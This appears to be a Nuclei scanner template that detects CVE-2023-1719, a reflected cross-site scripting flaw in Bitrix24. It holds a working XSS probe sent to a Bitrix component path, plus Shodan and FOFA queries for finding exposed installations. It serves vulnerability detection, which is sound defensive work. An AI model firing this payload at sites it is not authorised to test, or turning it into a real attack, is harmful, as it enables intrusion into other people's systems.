54 lines
1.8 KiB
YAML
54 lines
1.8 KiB
YAML
id: CVE-2023-1719
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info:
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name: Bitrix Component - Cross-Site Scripting
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author: DhiyaneshDk
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severity: critical
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description: |
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Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.
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reference:
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- https://starlabs.sg/advisories/23/23-1719/
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- https://nvd.nist.gov/vuln/detail/CVE-2023-1719
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- https://github.com/20142995/sectool
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-1719
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cwe-id: CWE-665
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epss-score: 0.02754
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epss-percentile: 0.90563
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cpe: cpe:2.3:a:bitrix24:bitrix24:22.0.300:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: bitrix24
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product: bitrix24
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shodan-query:
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- html:"/bitrix/"
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- http.html:"/bitrix/"
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fofa-query: body="/bitrix/"
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tags: cve2023,cve,bitrix,xss,bitrix24
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http:
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- method: GET
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path:
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- "{{BaseURL}}/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1>"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "'LOG_CNT':"
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- "<img onerror=alert(document.domain) src=1>"
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4b0a004830460221009d02b34971e2f1e10fe09f6ac41b7d29334c9f69e1e488739b3711803ec615be0221008694e2d730b3d526a4bc14049eec9ec828e26cd4147d26b97966da12cd6f6d44:922c64590222798bb761d5b6d8e72950 |